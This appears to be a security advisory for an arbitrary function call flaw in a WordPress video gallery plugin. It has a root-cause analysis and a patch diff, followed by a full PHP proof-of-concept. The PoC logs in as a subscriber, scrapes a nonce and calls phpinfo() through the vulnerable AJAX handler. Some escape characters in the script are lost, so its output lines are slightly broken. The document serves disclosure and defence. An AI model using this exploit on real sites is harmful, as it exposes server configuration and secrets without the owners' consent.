Published : July 3, 2026

CVE-2026-12923: Video Gallery <= 4.0.3 Authenticated (Subscriber+) Arbitrary Function Call via 'path' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 98
Vulnerable Version 4.0.3
Patched Version 4.0.4
Disclosed June 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-12923: This vulnerability in the Video Gallery (YouTube Showcase) plugin for WordPress allows authenticated attackers with Subscriber-level access or above to invoke arbitrary PHP functions via the ‘path’ parameter in the emd_delete_file AJAX handler. The vulnerability is rated CVSS 7.5 (High).

The root cause lies in the emd_delete_file() AJAX handler defined in includes/common-functions.php around line 1062. The handler receives a ‘path’ parameter via POST, sanitizes it with sanitize_text_field(), then strips the trailing ‘_PLUGIN_DIR’ substring. The resulting value is passed to strtoupper() and then directly invoked as a function name using $sess_name(). This allows an attacker to control which function gets called with zero arguments. The handler lacks any current_user_can() permission check and only requires a nonce, which is disclosed on any front-end page rendering a form shortcode containing file fields.

Exploitation requires an authenticated WordPress account (Subscriber or higher). The attacker sends a POST request to /wp-admin/admin-ajax.php with action=emd_delete_file, a valid nonce obtained from the page HTML, and a crafted ‘path’ parameter. By providing the name of any zero-argument PHP function such as phpinfo, phpversion, get_defined_vars, or error_get_last followed by a dummy suffix (which gets stripped), the attacker can execute that function. For example, path=PHPINFO_PLUGIN_DIR results in $sess_name = ‘PHPINFO’, and the code calls PHPINFO().

The patch hardcodes $myapp to ‘youtube_showcase’, removing user control over the function name. It also adds a function_exists() check before invoking $sess_name(), and verifies that the returned session object has a valid ‘session’ property. The patch also improves input validation for the ‘field’ and ‘del_file’ parameters, shifting from name-based matching to full_path-based matching for file deletion. Finally, it replaces die() with wp_die() for proper WordPress handling.

The primary impact is sensitive information disclosure. An attacker can call phpinfo() to reveal server configuration, environment variables, and installed modules. They can also call get_defined_vars() to dump current variables, or error_get_last() to see recent errors. While direct remote code execution is limited to zero-argument functions, the information gathered could enable further attacks, and some environments may allow dangerous functions like system() or exec() with zero arguments if the PHP configuration permits.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/youtube-showcase/includes/common-functions.php
+++ b/youtube-showcase/includes/common-functions.php
@@ -1062,24 +1062,35 @@
 		$ret = check_ajax_referer('emd_delete_file', 'nonce', false);
 		if ($ret === false) {
 			echo '<div class="text-danger"><a href="' . wp_get_referer() . '">' . esc_html__('Please refresh the page and try again.', 'youtube-showcase') . '</a></div>';
-			die();
+			wp_die();
 		}
-		$path = sanitize_text_field($_POST['path']);
-		$myapp = strtolower(preg_replace('/_PLUGIN_DIR$/','',$path));
+		$myapp = 'youtube_showcase';
 		$sess_name = strtoupper($myapp);
-		$session_class = $sess_name();
+		if ( function_exists($sess_name) ) {
+			$session_class = $sess_name();
+		} else {
+			echo '<div class="text-danger">' . esc_html__('System configuration error.', 'youtube-showcase') . '</div>';
+			wp_die();
+		}
+		if ( ! $session_class || ! isset($session_class->session) ) {
+			echo '<div class="text-danger">' . esc_html__('Session handler unavailable.', 'youtube-showcase') . '</div>';
+			wp_die();
+		}
 		$sess_files = $session_class->session->get('uploads');
-		$field = sanitize_text_field($_POST['field']);
-		if(!empty($sess_files[$field])){
-			foreach($sess_files[$field] as $kattch => $myattch){
-				if($myattch['name'] == sanitize_text_field($_POST['del_file'])){
+		$field = isset($_POST['field']) ? sanitize_text_field($_POST['field']) : '';
+		if ( ! empty( $sess_files[$field] ) && isset( $_POST['del_file'] ) ) {
+			$del_file_target = sanitize_text_field($_POST['del_file']);
+
+			foreach ( $sess_files[$field] as $kattch => $myattch ) {
+				if ( isset($myattch['full_path']) && $myattch['full_path'] === $del_file_target ) {
 					unset($sess_files[$field][$kattch]);
 				}
 			}
-			$session_class->session->set('uploads',$sess_files);
+			// Update the user's specific session
+			$session_class->session->set('uploads', $sess_files);
 		}
 		echo 1;
-		die();
+		wp_die();
 	}
 }
 if(!function_exists('emd_get_attachment_layout')){
--- a/youtube-showcase/youtube-showcase.php
+++ b/youtube-showcase/youtube-showcase.php
@@ -3,7 +3,7 @@
  * Plugin Name: Video Gallery – YouTube Gallery, Playlist & Video Grid
  * Plugin URI: https://emarketdesign.com
  * Description: Create a YouTube video gallery or playlist visually in the block editor. No shortcodes, no coding — just beautiful responsive video grids.
- * Version: 4.0.3
+ * Version: 4.0.4
  * Author: eMarket Design
  * Author URI: https://emdplugins.com?pk_campaign=youtube-showcase-com&pk_kwd=readme-by
  * Text Domain: youtube-showcase
@@ -89,7 +89,7 @@
 		 * @return void
 		 */
 		private function define_constants() {
-			define('YOUTUBE_SHOWCASE_VERSION', '4.0.3');
+			define('YOUTUBE_SHOWCASE_VERSION', '4.0.4');
 			define('YOUTUBE_SHOWCASE_AUTHOR', 'eMarket Design');
 			define('YOUTUBE_SHOWCASE_NAME', 'Youtube Showcase');
 			define('YOUTUBE_SHOWCASE_PLUGIN_FILE', __FILE__);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12923 - Video Gallery <= 4.0.3 - Authenticated (Subscriber+) Arbitrary Function Call via 'path' Parameter

// Configuration: Set these variables to the target WordPress site and credentials
$target_url = 'https://example.com'; // Base URL of the WordPress site (with trailing slash?)
$username = 'subscriber'; // WordPress username with Subscriber role or higher
$password = 'subscriber_password'; // Password for the account

// Step 1: Authenticate and obtain cookies with nonce
$login_url = rtrim($target_url, '/') . '/wp-login.php';
$post_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'testcookie' => 1
);

$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
if (curl_errno($ch)) {
    die('cURL error: ' . curl_error($ch));
}
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if ($http_code !== 200 && $http_code !== 302) {
    die('Login failed with HTTP code: ' . $http_code);
}

// Step 2: Extract nonce from a page that renders the plugin's form (e.g., a page with shortcode)
$page_url = rtrim($target_url, '/') . '/?p=123'; // Replace with an actual page ID or slug that contains the gallery shortcode
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_HTTPGET, true);
$page_html = curl_exec($ch);

// Look for nonce in JavaScript or HTML: the nonce name is 'emd_delete_file' and parameter 'nonce'
preg_match('/nonce":"([a-f0-9]+)"/', $page_html, $matches);
if (empty($matches)) {
    // Alternative: try to extract from an inline script or data attribute
    preg_match('/data-nonce="([a-f0-9]+)"/', $page_html, $matches);
}
if (empty($matches)) {
    die('Could not extract nonce from the page. Ensure the page contains the gallery shortcode.');
}
$nonce = $matches[1];
echo "[+] Extracted nonce: $noncen";

// Step 3: Craft exploit payload to call phpinfo (zero-argument function)
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
$exploit_data = array(
    'action' => 'emd_delete_file',
    'nonce' => $nonce,
    'path' => 'PHPINFO_PLUGIN_DIR', // This becomes 'PHPINFO' after stripping '_PLUGIN_DIR', then strtoupper is applied (already uppercase), function call: PHPINFO()
    'field' => 'test',
    'del_file' => 'test'
);

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);

if (curl_errno($ch)) {
    die('cURL error during exploit: ' . curl_error($ch));
}

// phpinfo output will be returned in $result (if successful)
echo "[+] Response length: " . strlen($result) . "n";
echo "[+] Response (first 2000 characters):n";
echo substr($result, 0, 2000);

echo "nn[*] PoC completed. Check the response above for phpinfo() output.n";
curl_close($ch);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.